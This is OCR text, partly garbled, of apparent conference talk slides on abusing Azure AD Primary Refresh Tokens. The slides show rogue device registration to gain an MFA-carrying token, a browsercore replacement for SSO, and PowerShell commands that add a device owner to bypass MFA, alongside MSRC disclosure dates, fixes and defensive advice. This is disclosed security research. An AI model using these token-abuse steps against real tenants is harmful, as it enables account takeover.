wYqPoFgbHK19NGPzqlUj8G9UMUe01gMgna8j IWBGtsNnKkTmDHAMusXeCTETH
5RRLHt8y- pPlcaD6ID4usyD6hTQpETq7UmuFhb5Xc5NtagpkCpkEj09X312qg
1ELnCXXtStjZrrlcZHOsU9x -sON8P1lyIsP8mdv4gYGUiAkNmmOBSO1Xy59hBi
09f3zqzhSNTqAUWS1LvvnxXknCC-YuCBV/7LgqPWuijUo uZdx1lIm BlJ-gc3jv
AmTQv-NvbY3rosy4DFH61L hOMKHuHKMgHLPgwtiarT3JbHdaBbe ABUY4nj7U
LFIWwrDhsLRuT4 yGKw-E@X18F6V10wQ074gXLng --prt-sessionkey 6af22b440580317b691153a99%¢ NG
--tokens-stdout
{"tokenType": "Bearer", "expiresIn": 3599, "expiresOn": "2021-09-24 15:43:32.597783", "resource": "https://graph.windows.n
et", "accessToken": "eylOeXAi0iJKV1QiLCJIhbGci0iJSUzIINiIsIngldCI6ImwzclETNTB]jQ0g0eEIJWWKkxIVEd3bINSNZY4AMCIsImtpZCI6ImwzclELN
TBj00gOeEIWWkxIVEd3b1NSNzY4AMCI9. eyJhdWQi0iJodHRwczovL2dyYXBoLndpbmRvd3MubmVOIiwiaXNzIjoiaHROcHMOLY9zdHMud21uZG93cyS5uZXQvNj
T4N2YyOGYtTNGY3Zi00MzIyLTKZNTELYTg20TdkOGZIMWI jLyIsImLhdCI6MTYzMjQ4NzExMywibmImIjoxNjMyNDg3MTEzLCI1eHALIOjE2MzIO0TEWMTMSs ImF j
ciI6IjEiLCIhaW8i0iJFMLpnWUxpUXpBaXBLaVN1Y21obUkvZi9VTjMlemltdCtjbExqbXoxbnlsaDRSVHB6ZDhBIiwiYWlyIjpbInB3ZCIsInlzYSIdLCIhcH




New device registration attack summary

* SSO token can be requested by limited user
* Access token contains MFA claim
* New device registered will also issue PRT with inherited MFA claim

* Only password (or SSO in case of federated) is required to get a
PRT

* Free MFA upgrade!




New device upsides/downsides

* Upside:
* Is separate from the old device, so if old device is disabled our
PRT will still work.

* Downside:
* Requires permissions to register devices (not always allowed)
* Does not mean the device will be allowed to enroll into Intune (for
compliancy)




Using the rogue PRT

Chrome users browsercore.exe as native component for SSO

Replace with browsercore.py which contains PRT data

B Registry Editor
File Edit Favorites Help

_ompute

owsercorenew',manifest.json

MativeMessagingHosts

COML (a ) OrOWSsErcCore - | E: rOWSEN Co re| H EW

ve.nucleus.auth.provi

skypeforbusiness.shellapp Home share View

This PC Local Disk (C:) BrowserCoreMew
MName - Date modified
s Quick access

I Desktop
-J-L Downloads

F® BrowserCore. By

manifest,json




Using the rogue PRT

fj Microsoft Office Home * +

&«

(& & office.com/7auth=2
Office 365

New to Office 3652 iminyourcloud
M\ This is your Office 365 home page—where you can see and access all of your Office 365 apps. If it's empty. it could be that your user license was
assigned to you. Wait 10 minutes and refresh this page. If you still don't see any apps. contact your IT department. They can help you get up and

PM

Good afternoon

Modified Shared by Activity

No content activity
Share and collaborate with others. Create a new document or upload and open one to

get staried.

Policy Moore

i
e

inyour.

Sign out




Disclosure timeline

* Registering a device via SSO was reported to MSRC in December
2020

* Final fixes rolled out in September 2021
* Intermediate fixes also for specific platforms

* No longer possible to use SSO tokens for device registration




cCurrent status

* There appears to be a significant redesign on how the PRT is
Issued and used.

* Mimikatz CloudAP dumping from Isass does not work on latest
versions (August 2021 update), likely due to changed storage of
secrets.

* More research needed to see If this also stops using secrets stored
In the TPM with admin rights.




Bonus: MFA bypass as Intune / Global admin

* Registration flow:
* User A registers device using MFA
* User A is set as owner of the device in Azure AD
* Once user A logs In for first time, MFA claim iIs transferred
because it was used during registration and user A is the owner.
* MFA claim is “copied” to the PRT, so tokens issued via the PRT
also comply with MFA requirements.




# JWT OPEN JWT FROM ALGORITHM 15258 SHARE JWT

Encoded Decoded

eyJOeXA101JKV1QiLCJhbGc10
1JSUzITNiIsIng1dCI6Im5Pbz
NaRHJPRFhFSzFqS[1doWHNsSFJ
fSThFZyIsImtpZCI6ImSPbzNa
RHJPRFhFSzFqS1doWHNsSFJTS
ThFZyJ9.




Flaw

* MFA claim is transferred based on ownership

* As Intune admin or global admin, add extra owner to device

PS C:\Users\Dirkjan= connect-azuread

Account Environment TenantId TenantDomain  AccountType

deviceadmin@iminyour.cloud AzureCloud 6287T287-47177-4322-9651-a8697d8fTelbc iminyour.cloud User

PS C:\Users\Dirkjan> Add-AzureADDeviceRegisteredOwner -ObjectId 37000c82-cB5e-492c-ab69-e55b79906896 -ReflObjectId 34cBabec-4cf2-490b-bbel-2c7be9cabbbl
PS C:\Users\Dirkjan> Get-AzureADDeviceRegisteredOwner -ObjectId 37000c82-cB5e-492c-ab69-e55b79906896

ObjectId DisplayName UserPrincipalName UserType

34cBabec-4cft2-490b-bbel-2c7beY%cabbbl HI M dirkjan@iminyour.cloud Member
178eecda-821c-4b3e-bcl3-22T7befd0d7e deviceadmin deviceadmin@iminyour.cloud Member

* Log in on fake device with only password, PRT is issued with MFA
claim without ever entering MFA for that user.
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Bonus: MFA bypass as Intune / Global admin

* Reported May 2021

* After some discussion with MSRC, accepted as vulnerability in July
2021

* Fixed August 2021

* MFA claim is now no longer transferred to PRT after registration




Conclusion

* SSO still breaks security in 2021
* Monitor for odd/unexpected device joins

* Limit device joining/registering as much as possible




* All tools in the talk are based on the ROADtools framework/library

* Open source at https://github.com/dirkjanm/ROADtools/

| have ROADtools stickers, come get some after the talk ©
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